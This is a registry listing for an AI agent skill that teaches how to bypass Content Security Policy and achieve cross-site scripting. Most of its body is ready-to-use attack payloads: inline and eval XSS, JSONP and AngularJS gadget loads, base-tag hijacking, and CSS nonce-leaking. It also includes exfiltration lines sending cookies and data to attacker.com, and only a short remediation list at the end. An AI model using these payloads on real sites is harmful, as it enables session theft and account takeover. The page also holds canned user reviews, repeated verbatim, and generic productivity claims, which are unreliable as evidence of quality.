Analyze and bypass Content Security Policy implementations to achieve cross-site scripting by exploiting misconfigurations, JSONP endpoints, unsafe directives, and policy injection techniques.
Works with
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionperforming-content-security-policy-bypassExecute the skills CLI command in your project's root directory to begin installation:
Fetches performing-content-security-policy-bypass from mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate performing-content-security-policy-bypass. Access via /performing-content-security-policy-bypass in your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
0
total installs
0
this week
8.6K
GitHub stars
0
upvotes
Run in your terminal
0
installs
0
this week
8.6K
stars
| name | performing-content-security-policy-bypass |
| description | Analyze and bypass Content Security Policy implementations to achieve cross-site scripting by exploiting misconfigurations, JSONP endpoints, unsafe directives, and policy injection techniques. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | - csp-bypass - content-security-policy - xss - script-injection - nonce-bypass - jsonp - policy-misconfiguration |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
# Extract CSP from response headers
curl -sI http://target.com | grep -i "content-security-policy"
# Check for CSP in meta tags
curl -s http://target.com | grep -i "content-security-policy"
# Analyze CSP with Google CSP Evaluator
# Visit: https://csp-evaluator.withgoogle.com/
# Paste the CSP policy for automated analysis
# Check for report-only mode (not enforced)
curl -sI http://target.com | grep -i "content-security-policy-report-only"
# If only report-only exists, CSP is NOT enforced - XSS works directly
# Parse directive values
# Example CSP:
# script-src 'self' 'unsafe-inline' https://cdn.example.com;
# default-src 'self'; style-src 'self' 'unsafe-inline';
# img-src *; connect-src 'self'
# If script-src includes 'unsafe-inline':
# CSP is effectively bypassed for inline scripts
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">
# If script-src includes 'unsafe-eval':
# eval() and related functions work
<script>eval('alert(1)')</script>
<script>setTimeout('alert(1)',0)</script>
<script>new Function('alert(1)')()</script>
# If 'unsafe-inline' with nonce:
# unsafe-inline is ignored when nonce is present (CSP3)
# Focus on nonce leaking instead
# If CSP whitelists a domain with JSONP endpoints:
# script-src 'self' https://accounts.google.com
# Find JSONP endpoints on whitelisted domains
# Google:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
# Common JSONP endpoints:
# https://www.google.com/complete/search?client=chrome&q=test&callback=alert(1)//
# https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js
# If AngularJS is whitelisted (CDN):
# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
# Exploit JSONP on whitelisted APIs
<script src="https://whitelisted-api.com/endpoint?callback=alert(1)//">
</script>
# If base-uri is not restricted:
# Inject <base> tag to redirect relative script loads
<base href="https://attacker.com/">
# All relative script src will load from attacker.com
# If form-action is not restricted:
# Steal data via form submission
<form action="https://attacker.com/steal" method="POST">
<input name="csrf_token" value="">
</form>
<script>document.forms[0].submit()</script>
# If object-src is not restricted:
# Use Flash or plugin-based XSS
<object data="https://attacker.com/exploit.swf"></object>
<embed src="https://attacker.com/exploit.swf">
# Nonce leaking via CSS attribute selectors
# If attacker can inject HTML (but not script due to CSP nonce):
<style>
script[nonce^="a"] { background: url("https://attacker.com/leak?nonce=a"); }
script[nonce^="b"] { background: url("https://attacker.com/leak?nonce=b"); }
</style>
# Brute-force each character position to leak the nonce
# Nonce reuse detection
# If the same nonce is used across multiple pages or requests:
# Capture nonce from one page, use it to inject script on another
# DOM clobbering to override nonce checking
<form id="csp"><input name="nonce" value="attacker-controlled"></form>
# Script gadgets in whitelisted libraries
# If a whitelisted JS library has a gadget that creates scripts:
# jQuery: $.getScript(), $.globalEval()
# Lodash: _.template()
# DOMPurify bypass via prototype pollution
# Policy injection via reflected parameters
# If CSP header reflects user input:
# Inject: ;script-src 'unsafe-inline'
# Or inject: ;report-uri /csp-report;script-src-elem 'unsafe-inline'
# Even without script execution, data exfiltration is possible:
# Via img-src (if allows external):
<img src="https://attacker.com/steal?data=SENSITIVE_DATA">
# Via CSS injection (if style-src allows unsafe-inline):
<style>
input[value^="a"] { background: url("https://attacker.com/?char=a"); }
input[value^="b"] { background: url("https://attacker.com/?char=b"); }
</style>
# Via connect-src (if allows external):
<script nonce="valid">
fetch('https://attacker.com/steal?data=' + document.cookie);
</script>
# Via DNS prefetch:
<link rel="dns-prefetch" href="//data.attacker.com">
# Via WebRTC (if not blocked):
# WebRTC can leak data through STUN/TURN servers
| Concept | Description |
|---|---|
| unsafe-inline | CSP directive allowing inline script execution, defeating XSS protection |
| Nonce-based CSP | Using random nonces to allow specific scripts while blocking injected ones |
| JSONP Bypass | Exploiting JSONP endpoints on whitelisted domains to execute attacker callbacks |
| Policy Injection | Injecting CSP directives through reflected user input in headers |
| base-uri Hijacking | Redirecting relative script loads by injecting a base element |
| Script Gadgets | Legitimate library features that can be abused to bypass CSP |
| CSP Report-Only | Non-enforcing CSP mode that only logs violations without blocking |
| Tool | Purpose |
|---|---|
| CSP Evaluator | Google tool for analyzing CSP policy weaknesses |
| Burp Suite | HTTP proxy for CSP header analysis and bypass testing |
| CSP Scanner | Browser extension for identifying CSP bypass opportunities |
| csp-bypass | Curated list of CSP bypass techniques and payloads |
| RetireJS | Identify vulnerable JavaScript libraries on whitelisted CDNs |
| DOM Invader | Burp tool for testing CSP bypasses through DOM manipulation |
## CSP Bypass Assessment Report
- **Target**: http://target.com
- **CSP Mode**: Enforced
- **Policy**: script-src 'self' https://cdn.jsdelivr.net; default-src 'self'
### CSP Analysis
| Directive | Value | Risk |
|-----------|-------|------|
| script-src | 'self' cdn.jsdelivr.net | JSONP/Library bypass possible |
| default-src | 'self' | Moderate |
| base-uri | Not set | base-uri hijacking possible |
| object-src | Not set (falls back to default-src) | Low |
### Bypass Techniques Found
| # | Technique | Payload | Impact |
|---|-----------|---------|--------|
| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |
| 2 | Missing base-uri | <base href="https://evil.com/"> | Script hijack |
### Remediation
- Remove whitelisted CDN domains; use nonce-based or hash-based CSP
- Add base-uri 'self' to prevent base element injection
- Add object-src 'none' to block plugin-based execution
- Migrate from unsafe-inline to strict nonce-based policy
- Implement strict-dynamic for modern CSP3 browsers
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
Solid pick for teams standardizing on skills: performing-content-security-policy-bypass is focused, and the summary matches what you get after install.
performing-content-security-policy-bypass reduced setup friction for our internal harness; good balance of opinion and flexibility.
I recommend performing-content-security-policy-bypass for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
We added performing-content-security-policy-bypass from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
performing-content-security-policy-bypass fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
Useful defaults in performing-content-security-policy-bypass — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
performing-content-security-policy-bypass has been reliable in day-to-day use. Documentation quality is above average for community skills.
Solid pick for teams standardizing on skills: performing-content-security-policy-bypass is focused, and the summary matches what you get after install.
Solid pick for teams standardizing on skills: performing-content-security-policy-bypass is focused, and the summary matches what you get after install.
performing-content-security-policy-bypass has been reliable in day-to-day use. Documentation quality is above average for community skills.
showing 1-10 of 27